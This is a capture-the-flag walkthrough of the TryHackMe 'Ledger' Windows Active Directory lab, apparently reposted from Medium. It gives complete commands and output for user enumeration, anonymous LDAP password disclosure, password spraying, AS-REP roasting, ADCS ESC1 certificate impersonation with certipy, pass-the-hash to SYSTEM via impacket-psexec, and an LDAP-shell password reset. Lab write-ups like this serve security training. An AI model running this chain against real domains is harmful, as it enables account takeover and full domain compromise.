R Rebeauty Atlas +7,999 today
← Back to list

TryHackMe: Ledger Write-up

Introduction

edbert sumicad · 2026-05-26 23:57 · 1 claps · 11.5 min read
#active-directory-attack #tryhackme #tryhackme-walkthrough #penetration-testing #network-penetration-test
Open on Medium ↗
Wiki topics: 🎬 · Film & Television

TryHackMe: Ledger Write-up

Introduction

Ledger is a Hard-rated Windows Active Directory machine on TryHackMe. It’s a fantastic box that simulates a realistic corporate AD environment with a layered attack chain. You’ll work through unauthenticated enumeration, credential discovery from LDAP misconfigurations, password spraying, and ultimately abuse Active Directory Certificate Services (ADCS) to impersonate a Domain Admin.

Nmap

TCP

# Nmap 7.99 scan initiated Sat May 23 15:09:20 2026 as: /usr/lib/nmap/nmap -vvv -p 53,80,88,135,139,389,445,443,464,593,636,3268,3269,3389,9389,47001,49665,49664,49669,49671,49680,49668,49677,49683,49676,49675,49714,49726,49719,49798 -4 -A -sC -Pn -oN nmap.txt 10.48.155.132
Nmap scan report for 10.48.155.132
Host is up, received user-set (0.11s latency).
Scanned at 2026-05-23 15:09:21 EDT for 146s
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 126 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 126 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-05-23 19:09:27Z)
135/tcp   open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-05-23T19:11:39+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:labyrinth.thm.local
| Issuer: commonName=thm-LABYRINTH-CA/domainComponent=thm
<SNIP>
443/tcp   open  ssl/https?    syn-ack ttl 126
| ssl-cert: Subject: commonName=thm-LABYRINTH-CA/domainComponent=thm
| Issuer: commonName=thm-LABYRINTH-CA/domainComponent=thm
<SNIP>
445/tcp   open  microsoft-ds? syn-ack ttl 126
464/tcp   open  kpasswd5?     syn-ack ttl 126
593/tcp   open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:labyrinth.thm.local
| Issuer: commonName=thm-LABYRINTH-CA/domainComponent=thm
<SNIP>
3268/tcp  open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-05-23T19:11:39+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:labyrinth.thm.local
| Issuer: commonName=thm-LABYRINTH-CA/domainComponent=thm
<SNIP>
3269/tcp  open  ssl/ldap      syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:labyrinth.thm.local
| Issuer: commonName=thm-LABYRINTH-CA/domainComponent=thm
<SNIP>
3389/tcp  open  ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Issuer: commonName=labyrinth.thm.local
<SNIP>
| rdp-ntlm-info: 
|   Target_Name: THM
|   NetBIOS_Domain_Name: THM
|   NetBIOS_Computer_Name: LABYRINTH
|   DNS_Domain_Name: thm.local
|   DNS_Computer_Name: labyrinth.thm.local
|   Product_Version: 10.0.17763
|_  System_Time: 2026-05-23T19:10:30+00:00
|_ssl-date: 2026-05-23T19:11:39+00:00; -1s from scanner time.
9389/tcp  open  mc-nmf        syn-ack ttl 126 .NET Message Framing
47001/tcp open  http          syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49671/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49675/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49676/tcp open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49680/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49683/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49714/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49719/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49726/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49798/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
<SNIP>

Key takeaways from Nmap:

  • Domain: thm.local
  • Hostname: labyrinth.thm.local
  • OS: Windows Server 2019

Add to /etc/hosts: 10.48.155.132 thm.local labyrinth.thm.local

port 53 DNS

└─# dig axfr labyrinth.thm.local @$ip 
; <<>> DiG 9.20.22-1-Debian <<>> axfr labyrinth.thm.local @10.48.155.132
;; global options: +cmd
; Transfer failed.

Zone transfer fails, nothing here. Move on.

port 80 http

feroxbuster --url <http://$ip/> -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -s 200 301 --no-recursion
200      GET      334l     2089w   180418c <http://10.48.155.132/iisstart.png>

Only the default IIS splash page (iisstart.png). No interesting directories. Dead end.

port 88 kerberos

Without any credentials, Kerberos lets us validate usernames. We throw a common username wordlist at it with kerbrute:

kerbrute userenum -d thm.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc $ip -t 100
└─# kerbrute userenum -d thm.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc $ip -t 100
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \\/ ___/ __ \\/ ___/ / / / __/ _ \\
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\\___/_/  /_.___/_/   \\__,_/\\__/\\___/                                        
Version: dev (n/a) - 05/23/26 - Ronnie Flathers @ropnop
2026/05/23 16:33:23 >  Using KDC(s):
2026/05/23 16:33:23 >   10.48.155.132:88
2026/05/23 16:33:24 >  [+] VALID USERNAME:       greg@thm.local
2026/05/23 16:33:24 >  [+] VALID USERNAME:       guest@thm.local
2026/05/23 16:33:26 >  [+] VALID USERNAME:       administrator@thm.local
2026/05/23 16:34:34 >  [+] VALID USERNAME:       labyrinth@thm.local

Valid users:

greg@thm.local
guest@thm.local
administrator@thm.local
labyrinth@thm.local

Found several users, might be useful later.

port 135 RPC

└─# rpcclient -U "" -N $ip
rpcclient $> lsaenumsid
result was NT_STATUS_ACCESS_DENIED
rpcclient $>

Null authentication works, but lsaenumsid returns NT_STATUS_ACCESS_DENIED. Limited access, nothing useful here.

port 139 445 SMB

enum4linux -U $ip
===================================( Session Check on 10.48.155.132 )==================================           [+] Server 10.48.155.132 allows sessions using username '', password ''

The server allows null sessions and we can pull the domain SID:

================================( Getting domain SID for 10.48.155.132 )================================
Domain Name: THM                                                                                                  Domain Sid: S-1-5-21-1966530601-3185510712-10604624
[+] Host is part of a domain (not a workgroup)

Now we weaponize this. RID brute-forcing over a null session lets us enumerate every user and group in the domain:

nxc smb $ip -u '' -p '' --rid-brute
<SNIP>
SMB                      10.48.155.132   445    LABYRINTH        1113: THM\\greg (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1114: THM\\SHANA_FITZGERALD (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1115: THM\\CAREY_FIELDS (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1116: THM\\DWAYNE_NGUYEN (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1117: THM\\BRANDON_PITTMAN (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1118: THM\\BRET_DONALDSON (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1119: THM\\VAUGHN_MARTIN (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1120: THM\\DICK_REEVES (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1121: THM\\EVELYN_NEWMAN (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1122: THM\\SHERI_DYER (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1123: THM\\NUMBERS_BARRETT (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1124: THM\\SUSANA_LOWERY (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1125: THM\\MIKE_TODD (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1126: THM\\JOSEF_MONROE (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1127: THM\\DAWN_DAVID (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1128: THM\\VIVIAN_VELAZQUEZ (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1129: THM\\WESLEY_FULLER (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1130: THM\\MARISOL_LANG (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1131: THM\\DIONNE_MCCOY (SidTypeUser)
SMB                      10.48.155.132   445    LABYRINTH        1132: THM\\NOEL_BOOTH (SidTypeUser)
<SNIP>

port 389 Ldap

The server allows anonymous LDAP binds, another significant misconfiguration. We query everything:

ldapsearch -x -H ldap://$ip:389 -b "dc=thm,dc=local"

Filter for usernames:

ldapsearch -x -H ldap://$ip:389 -b "dc=thm,dc=local" | grep userPrincipalName

Now grep for description attributes. Admins sometimes store notes (or worse, passwords) here:

ldapsearch -x -H ldap://$ip:389 -b "dc=thm,dc=local" | grep description

And there it is:

description: Please change it: CHANGEME2023!

Password found on descriptions.

A plaintext password sitting in an LDAP description field. We now have a password but don’t yet know whose. Time to find out.

Gathered information

  • Usernames collected.
  • Guest and null authentication.
  • User’s password from LDAP description disclosure.

Getting a Foothold — port 88 kerberos

ASREProasting hashes

With our expanded user list from the RID brute-force, we check for accounts that don’t require Kerberos pre-authentication. These accounts will hand us an encrypted hash that we can crack offline:

impacket-GetNPUsers thm.local/ -usersfile userslist.txt
$krb5asrep$23$PHYLLIS_MCCOY@THM.LOCAL:b9e7038c629506cbcdb4d9b0bd7b4d33$ce3c232ccc378986ec286beef50354166d3632456045a1e535a231809b13db6c113080c1a3bc85cc6d28d444f3283ca971d334642893c1b3b880c2d27d0f00b4a4b4129dff7cab3450f16eedcd5e96cb5e95770fa8262eb4bc4940e6e92acfa93b6fc637e0d6379a5a57471c8f5fbf1f1fedc6278fbc82aa6daf3cdd9e5c255f7d9e8afb1f4fddd2cfd487b270e1ccfad287f198b30c95f0edf3eecebf54f86aba40eec55c4b469c57d4020af0488678cbe3c0122c4a612d803b60574738dc307704a33f8014b28299c32fd15984f8f6b5734149eb4e0cb83941bed55985c094e89193d77dd7

Five users return AS-REP hashes: Maxine, Phyllis, Isiah, Shelly, and Queen. We throw all of them at hashcat:

hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt

Unfortunately, none of the hashes crack against rockyou.txt. The passwords are either strong or not in the wordlist. We'll park these and try a different route.

Kerberoasting via the Guest account (no password needed):

nxc ldap $ip -u guest -p '' --kerberoasting kerb_hashes.txt --kdcHost $ip
└─# nxc ldap $ip -u guest -p '' --kerberoasting kerb_hashes.txt --kdcHost $ip
LDAP        10.48.155.59    389    LABYRINTH        [*] Windows 10 / Server 2019 Build 17763 (name:LABYRINTH) (domain:thm.local) (signing:None) (channel binding:Never) 
LDAP        10.48.155.59    389    LABYRINTH        [+] thm.local\\guest: 
LDAP        10.48.155.59    389    LABYRINTH        No entries found!

No SPN-linked accounts returned. Another dead end but expected for a well-configured environment.

Password spray

We circle back to that LDAP-disclosed password: CHANGEME2023!

Rather than guessing which account it belongs to, we spray it across all users from our list. The key is using --continue-on-success so we don't stop at the first hit:

nxc smb thm.local -u userslist.txt -p 'CHANGEME2023!' --continue-on-success

Two accounts match:

SMB         10.49.178.15    445    LABYRINTH        [+] thm.local\\IVY_WILLIS:CHANGEME2023!
SMB         10.49.160.126   445    LABYRINTH        [+] thm.local\\SUSANNA_MCKNIGHT:CHANGEME2023!
thm.local\\IVY_WILLIS:CHANGEME2023!
thm.local\\SUSANNA_MCKNIGHT:CHANGEME2023!

These are users who were provisioned accounts and never changed the default password, a very common real-world scenario.

Ivy willis

88 kerberoasting

impacket-GetUserSPNs thm.local/IVY_WILLIS:'CHANGEME2023!' -dc-ip $ip -request
└─# impacket-GetUserSPNs thm.local/IVY_WILLIS:'CHANGEME2023!' -dc-ip $ip -request
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
No entries found!

Same as earlier, no SPN hashes pulled.

SMB

netexec smb thm.local -u IVY_WILLIS -p 'CHANGEME2023!' --shares
└─# netexec smb thm.local -u IVY_WILLIS -p 'CHANGEME2023!' --shares
SMB         10.49.178.15    445    LABYRINTH        [*] Windows 10 / Server 2019 Build 17763 x64 (name:LABYRINTH) (domain:thm.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.49.178.15    445    LABYRINTH        [+] thm.local\\IVY_WILLIS:CHANGEME2023! 
SMB         10.49.178.15    445    LABYRINTH        [*] Enumerated shares
SMB         10.49.178.15    445    LABYRINTH        Share           Permissions     Remark
SMB         10.49.178.15    445    LABYRINTH        -----           -----------     ------
SMB         10.49.178.15    445    LABYRINTH        ADMIN$                          Remote Admin
SMB         10.49.178.15    445    LABYRINTH        C$                              Default share
SMB         10.49.178.15    445    LABYRINTH        IPC$            READ            Remote IPC
SMB         10.49.178.15    445    LABYRINTH        NETLOGON        READ            Logon server share 
SMB         10.49.178.15    445    LABYRINTH        SYSVOL          READ            Logon server share

No interesting shares from Ivy’s folders.

impacket-psexec IVY_WILLIS:'CHANGEME2023!'@10.49.160.126

Can’t established a shell.

bloodhound

bloodhound-python -c All -u IVY_WILLIS -p 'CHANGEME2023!' -d thm.local -ns $ip --zip

No writable shares, no shell. Running BloodHound confirms Ivy has no interesting group memberships or AD privileges. We move on.

SUSANNA

Susanna is a member of Remote Desktop Users, we can establish an RDP session using her account.

RDP

xfreerdp3 /u:SUSANNA_MCKNIGHT /p:'CHANGEME2023!' /v:$ip +clipboard +drives /drive:share,/root/Transfer_exploits/Windows /dynamic-resolution

Flag 1

THM{ENUMERATION_IS_THE_KEY}

Enumeration Inside the Machine

Once on the box, we check who else has logged in:

PS C:\\Users\\Public> ls C:\\Users
    Directory: C:\\Users
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/12/2023   7:34 AM                .NET v4.5
d-----        5/12/2023   7:34 AM                .NET v4.5 Classic
d-----        6/24/2024   3:05 PM                Administrator
d-----        5/24/2026   7:47 PM                BRADLEY_ORTIZ
d-r---        5/24/2026  10:09 PM                Public
d-----        6/25/2024   5:35 AM                SUSANNA_MCKNIGHT

BRADLEY_ORTIZ has an active profile on this machine.

A quick BloodHound check confirms he’s a Domain Admin. That’s our escalation target.

Running whoami /all as Susanna reveals something critical:

PS C:\\Users\\Public> whoami /all
USER INFORMATION
----------------
User Name            SID
==================== ============================================
thm\\susanna_mcknight S-1-5-21-1966530601-3185510712-10604624-1475
GROUP INFORMATION
-----------------
Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
<SNIP>
BUILTIN\\Certificate Service DCOM Access    Alias            S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
<SNIP>

Susanna is a member of the Certificate Service DCOM Access group, which means she can interact with the Certificate Authority.

This unlocks ADCS attacks.

Bloodhound

Important BloodHound tip: Remote collection via bloodhound-python missed Susanna's ADCS-related attack paths. Running SharpHound or ADPeas.ps1 from inside the machine via RDP surfaced the full picture. Always run an internal collection pass when you have a foothold.

At first ingestion via bloodhound-python:

Susanna’s account doesn’t show any interesting privileges.

So it’s better to run another sharphound on the inside the machine via RDP or any other shell session using ADpeas.ps1:

This shows more attack vector and found that we can abuse the Certificate Service DCOM Access member privilege of Susanna.

Certificate service DCOM Access Group

Finding the Vulnerable Template

From our Kali box, we scan for misconfigured certificate templates:

certipy-ad find -u SUSANNA_MCKNIGHT@thm.local -p 'CHANGEME2023!' -dc-ip $ip -vulnerable

Checking vulnerable templates.

The ServerAuth template is flagged as ESC1 vulnerable:

<SNIP>
Certificate Templates
  0
    Template Name                       : ServerAuth
    Display Name                        : ServerAuth
    Certificate Authorities             : thm-LABYRINTH-CA
<SNIP>
    Permissions
      Enrollment Permissions
        Enrollment Rights               : THM.LOCAL\\Domain Admins
                                          THM.LOCAL\\Domain Computers
                                          THM.LOCAL\\Enterprise Admins
                                          THM.LOCAL\\Authenticated Users
      Object Control Permissions
        Owner                           : THM.LOCAL\\Administrator
        Full Control Principals         : THM.LOCAL\\Domain Admins
                                          THM.LOCAL\\Enterprise Admins
        Write Owner Principals          : THM.LOCAL\\Domain Admins
                                          THM.LOCAL\\Enterprise Admins
        Write Dacl Principals           : THM.LOCAL\\Domain Admins
                                          THM.LOCAL\\Enterprise Admins
        Write Property Enroll           : THM.LOCAL\\Domain Admins
                                          THM.LOCAL\\Domain Computers
                                          THM.LOCAL\\Enterprise Admins
    [+] User Enrollable Principals      : THM.LOCAL\\Authenticated Users
                                          THM.LOCAL\\Domain Computers
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.

Request a Certificate as Bradley Ortiz

We authenticate as Susanna but request a cert with Bradley’s identity:

certipy-ad req -u 'SUSANNA_MCKNIGHT' -p 'CHANGEME2023!' -ca 'thm-LABYRINTH-CA' -template ServerAuth -upn 'BRADLEY_ORTIZ@THM.LOCAL' -dc-ip $ip

If you hit errors (clock skew, DNS issues, etc.), add -debug to see what's happening:

certipy-ad req -u 'SUSANNA_MCKNIGHT' -p 'CHANGEME2023!' -ca 'thm-LABYRINTH-CA' -template ServerAuth -upn 'BRADLEY_ORTIZ@THM.LOCAL' -dc-ip 10.49.160.126 -debug

Output:

─# certipy-ad req -u 'SUSANNA_MCKNIGHT' -p 'CHANGEME2023!' -ca 'thm-LABYRINTH-CA' -template ServerAuth -upn 'BRADLEY_ORTIZ@THM.LOCAL' -dc-ip 10.49.160.126 -debug
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[+] Nameserver: '10.49.160.126'
[+] DC IP: '10.49.160.126'
[+] DC Host: None
[+] Target IP: '10.49.160.126'
[+] Remote Name: '10.49.160.126'
[+] Domain: ''
[+] Username: 'SUSANNA_MCKNIGHT'
<SNIP>
[*] Saving certificate and private key to 'bradley_ortiz.pfx'
[+] Attempting to write data to 'bradley_ortiz.pfx'
[+] Data written to 'bradley_ortiz.pfx'
[*] Wrote certificate and private key to 'bradley_ortiz.pfx'

Retrieve Bradley’s NTLM Hash

certipy-ad auth -pfx bradley_ortiz.pfx -dc-ip $ip
└─# certipy-ad auth -pfx bradley_ortiz.pfx -dc-ip $ip
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*]     SAN UPN: 'BRADLEY_ORTIZ@THM.LOCAL'
[*] Using principal: 'bradley_ortiz@thm.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'bradley_ortiz.ccache'
[*] Wrote credential cache to 'bradley_ortiz.ccache'
[*] Trying to retrieve NT hash for 'bradley_ortiz'
[*] Got hash for 'bradley_ortiz@thm.local': aad3b435b51404eeaad3b435b51404ee:16ec31963c93240962b7e60fd97b495d

Shell as SYSTEM

impacket-psexec thm.local/bradley_ortiz@$ip -hashes aad3b435b51404eeaad3b435b51404ee:16ec31963c93240962b7e60fd97b495d
└─# impacket-psexec thm.local/bradley_ortiz@$ip -hashes aad3b435b51404eeaad3b435b51404ee:16ec31963c93240962b7e60fd97b495d
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
[*] Requesting shares on 10.48.155.59.....
[*] Found writable share ADMIN$
[*] Uploading file fQYuYplo.exe
[*] Opening SVCManager on 10.48.155.59.....
[*] Creating service iMav on 10.48.155.59.....
[*] Starting service iMav.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.4377]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\\Windows\\system32> whoami
nt authority\\system

Flag 2:

C:\\Windows\\system32> cd C:\\Users\\Administrator\\Desktop

C:\\Users\\Administrator\\Desktop> type root.txt
THM{THE_BYPASS_IS_CERTIFIED!}

Alternative Path: LDAP Shell Password Reset

If you can’t retrieve the NTLM hash of the target user, try to spawn an LDAP shell and reset the target’s password directly:

certipy-ad auth -pfx bradley_ortiz.pfx -dc-ip $ip -ldap-shell
└─# certipy-ad auth -pfx bradley_ortiz.pfx -dc-ip 10.49.160.126 -ldap-shell
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*]     SAN UPN: 'BRADLEY_ORTIZ@THM.LOCAL'
[*] Connecting to 'ldaps://10.49.160.126:636'
[*] Authenticated to '10.49.160.126' as: 'u:THM\\\\BRADLEY_ORTIZ'
Type help for list of commands
# whoami
u:THM\\BRADLEY_ORTIZ
#

Reset password of BRADLEY:

change_password bradley_ortiz sumi2026!!
# change_password bradley_ortiz sumi2026!!
Got User DN: CN=BRADLEY_ORTIZ,OU=FSR,OU=Tier 1,DC=thm,DC=local
Attempting to set new password of: sumi2026!!
Password changed successfully!

Then authenticate normally:

nxc smb 10.49.160.126 -u bradley_ortiz -p 'sumi2026!!'
└─# nxc smb 10.49.160.126 -u bradley_ortiz -p 'sumi2026!!'
SMB         10.49.160.126   445    LABYRINTH        [*] Windows 10 / Server 2019 Build 17763 x64 (name:LABYRINTH) (domain:thm.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.49.160.126   445    LABYRINTH        [+] thm.local\\bradley_ortiz:sumi2026!! (Pwn3d!)
impacket-psexec bradley_ortiz:'sumi2026!!'@10.49.160.126
C:\\Users\\Administrator\\Desktop> type root.txt
THM{THE_BYPASS_IS_CERTIFIED!}

Full attack chain Summary:

Step Technique Tool 1 Kerberos username enumeration kerbrute 2 Null session RID brute-force netexec 3 LDAP anonymous bind + description leak ldapsearch 4 ASREPRoasting (unsuccessful) impacket-GetNPUsers + hashcat 5 Password spray with leaked creds netexec 6 BloodHound AD enumeration bloodhound-python + ADPeas.ps1 7 RDP foothold via Remote Desktop Users xfreerdp3 8 ADCS ESC1 cert impersonation certipy-ad 9 Pass-the-hash shell as SYSTEM impacket-psexec

Key Takeaways

Always check LDAP description fields. They’re a goldmine: admins routinely leave provisioning passwords there. ldapsearch | grep description takes five seconds and pays off frequently.

Default passwords are everywhere. Users who never change provisioned passwords are one of the most reliable footholds in real engagements. A password spray with a single candidate password caught two accounts here.

Run BloodHound from inside the machine. Remote Python collection misses things. SharpHound or ADPeas.ps1 running locally with a live session reveals attack paths that remote queries don’t surface.

ADCS is massively underestimated. If a Certificate Authority exists in the environment, always run certipy-ad find -vulnerable. ESC1 through ESC8 are common misconfigurations and ESC1 in particular — where users can specify their own certificate subject — is a direct path to Domain Admin with no exploitation beyond a couple of tool invocations.

메타데이터
post_id
84a0a4f7c0fe
slug
tryhackme-ledger-write-up-84a0a4f7c0fe
url
https://medium.com/@edbertsumicad/tryhackme-ledger-write-up-84a0a4f7c0fe
canonical_url
https://medium.com/@edbertsumicad/tryhackme-ledger-write-up-84a0a4f7c0fe
author_url
https://medium.com/@edbertsumicad
status
ok
fetched_at
2026-07-20 03:20:25

More on 🎬 · Film & Television

YE Yellowbeee°•°

Who are we to judge a life we’ve never lived?

Apr 2026· 15,118 claps
MI Michal Malewicz

The End of Dashboards and Design Systems

Nov 2025· 7,493 claps $
AN 🇳🇴Annelie

Forgetting words more often after 65?

May 2026· 4,483 claps $
LO Loren Kantor

The Day I Was Fired by Chevy Chase

Apr 2025· 3,436 claps $
ED Edward Swafford

Red Herring

Dec 2023· 3,426 claps $